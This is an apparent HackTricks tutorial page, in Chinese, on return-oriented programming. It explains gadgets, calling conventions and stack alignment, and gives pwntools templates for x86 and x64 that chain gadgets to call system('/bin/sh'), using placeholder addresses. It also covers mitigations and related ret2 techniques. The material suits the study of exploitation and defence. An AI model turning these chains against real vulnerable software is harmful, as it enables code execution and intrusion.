ROP - Return Oriented Programing

学习并练习 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习并练习 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看订阅计划!

• 加入 💬 Discord 群组 或 电报群组 或 关注我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。

基本信息

返回导向编程 (ROP) 是一种高级利用技术，用于规避诸如 不可执行 (NX) 或 数据执行防护 (DEP) 等安全措施。攻击者不是注入和执行 shellcode，而是利用二进制文件或加载的库中已经存在的代码片段，称为 "gadgets"。每个 gadget 通常以 ret 指令结尾，并执行小操作，例如在寄存器之间移动数据或执行算术运算。通过链接这些 gadgets，攻击者可以构造有效绕过 NX/DEP 保护的有效操作负载。

ROP 的工作原理

1. 控制流劫持：首先，攻击者需要劫持程序的控制流，通常是通过利用缓冲区溢出来覆盖栈上保存的返回地址。

2. Gadget 链接：然后，攻击者仔细选择并链接 gadgets 以执行所需的操作。这可能涉及为函数调用设置参数，调用函数 (例如，system("/bin/sh"))，以及处理任何必要的清理或附加操作。

3. 负载执行：当易受攻击的函数返回时，它不是返回到合法位置，而是开始执行 gadget 链。

工具

通常，可以使用 ROPgadget、ropper 或直接使用 pwntools (ROP) 来查找 gadgets。

x86 示例中的 ROP 链

x86 (32 位) 调用约定

• cdecl：调用方清理栈。函数参数以相反顺序 (从右到左) 推送到栈上。参数从右到左推送到栈上。

• stdcall：类似于 cdecl，但被调用方负责清理栈。

查找 Gadgets

首先，让我们假设我们已经在二进制文件或其加载的库中识别出必要的 gadgets。我们感兴趣的 gadgets 包括：

• pop eax; ret：此 gadget 将栈顶值弹出到 EAX 寄存器中，然后返回，允许我们控制 EAX。

• pop ebx; ret：类似于上述，但用于 EBX 寄存器，使得可以控制 EBX。

• mov [ebx], eax; ret：将 EAX 中的值移动到 EBX 指向的内存位置，然后返回。这通常被称为 write-what-where gadget。

• 此外，我们有 system() 函数的地址可用。

ROP 链

使用 pwntools，我们为 ROP 链执行准备栈，如下所示，旨在执行 system('/bin/sh')，请注意链条从以下开始：

1. 用于对齐目的的 ret 指令 (可选)

2. system 函数的地址 (假设 ASLR 禁用且已知 libc，更多信息请参阅 Ret2lib)

3. 来自 system() 的返回地址的占位符

4. "/bin/sh" 字符串地址 (system 函数的参数)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

x64中的ROP链示例

x64（64位）调用约定

• 在类Unix系统上使用 System V AMD64 ABI 调用约定，其中 前六个整数或指针参数通过寄存器 RDI, RSI, RDX, RCX, R8, 和 R9 传递。额外的参数通过堆栈传递。返回值放在 RAX 寄存器中。

• Windows x64 调用约定使用 RCX, RDX, R8, 和 R9 作为前四个整数或指针参数，额外的参数通过堆栈传递。返回值放在 RAX 寄存器中。

• 寄存器：64位寄存器包括 RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, 和 R8 到 R15。

查找Gadgets

为了我们的目的，让我们专注于能够设置 RDI 寄存器（将 "/bin/sh" 字符串作为参数传递给 system()）并调用 system() 函数的gadgets。我们假设已经识别出以下gadgets：

• pop rdi; ret：将堆栈顶部的值弹出到 RDI 寄存器中，然后返回。用于为 system() 设置参数至关重要。

• ret：简单的返回指令，在某些情况下用于堆栈对齐。

我们知道 system() 函数的地址。

ROP链

以下是一个使用 pwntools 设置和执行ROP链的示例，旨在在 x64 上执行 system('/bin/sh')：

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

在这个例子中：

• 我们利用 pop rdi; ret 工具来将 RDI 设置为 "/bin/sh" 的地址。

• 在设置完 RDI 后，我们直接跳转到 system()，链中包含 system() 的地址。

• 如果目标环境需要，可以使用 ret_gadget 进行对齐，这在 x64 中更常见，以确保在调用函数之前正确对齐堆栈。

堆栈对齐

x86-64 ABI 确保在执行 call 指令 时 堆栈是 16 字节对齐的。LIBC 为了优化性能，使用 SSE 指令（如 movaps）需要这种对齐。如果堆栈没有正确对齐（意味着 RSP 不是 16 的倍数），在 ROP 链 中调用 system 等函数将失败。为了解决这个问题，在调用 system 之前在你的 ROP 链中简单地添加一个 ret gadget。

x86 与 x64 的主要区别

由于 x64 使用寄存器传递前几个参数，因此对于简单的函数调用，通常需要的 gadget 较少，但由于寄存器数量增加和地址空间较大，找到并链接正确的 gadget 可能更加复杂。x64 架构中寄存器数量的增加和地址空间的扩大为利用开发提供了机遇和挑战，特别是在返回导向编程（ROP）的背景下。

ARM64 示例中的 ROP 链

ARM64 基础知识和调用约定

查看以下页面获取这些信息：

Introduction to ARM64v8

防止 ROP 攻击

• ASLR 和 PIE：这些保护措施使得 ROP 的使用变得更加困难，因为 gadget 的地址在执行过程中会发生变化。

• 堆栈 Canary：在发生缓冲区溢出时，需要绕过存储的堆栈 Canary，以覆盖返回指针以滥用 ROP 链。

• 缺少 Gadgets：如果没有足够的 gadgets，将无法生成 ROP 链。

基于 ROP 的技术

请注意，ROP 只是一种执行任意代码的技术。基于 ROP，开发了许多 Ret2XXX 技术：

• Ret2lib：使用 ROP 从加载的库中调用带有任意参数的任意函数（通常类似于 system('/bin/sh')）。

Ret2lib

• Ret2Syscall：使用 ROP 准备对系统调用（例如 execve）的调用，并使其执行任意命令。

Ret2syscall

• EBP2Ret 和 EBP 链接：第一个将滥用 EBP 而不是 EIP 来控制流程，第二个类似于 Ret2lib，但在这种情况下，流程主要由 EBP 地址控制（尽管需要控制 EIP）。

Stack Pivoting - EBP2Ret - EBP chaining

其他示例和参考资料

• https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions

• https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html

• 64 位，启用 Pie 和 nx，无 Canary，用 vsyscall 地址覆盖 RIP，目的是返回到堆栈中下一个地址，这将部分覆盖地址以获取泄漏标志的函数部分。

• https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/

• arm64，无 ASLR，ROP gadget 使堆栈可执行并跳转到堆栈中的 shellcode。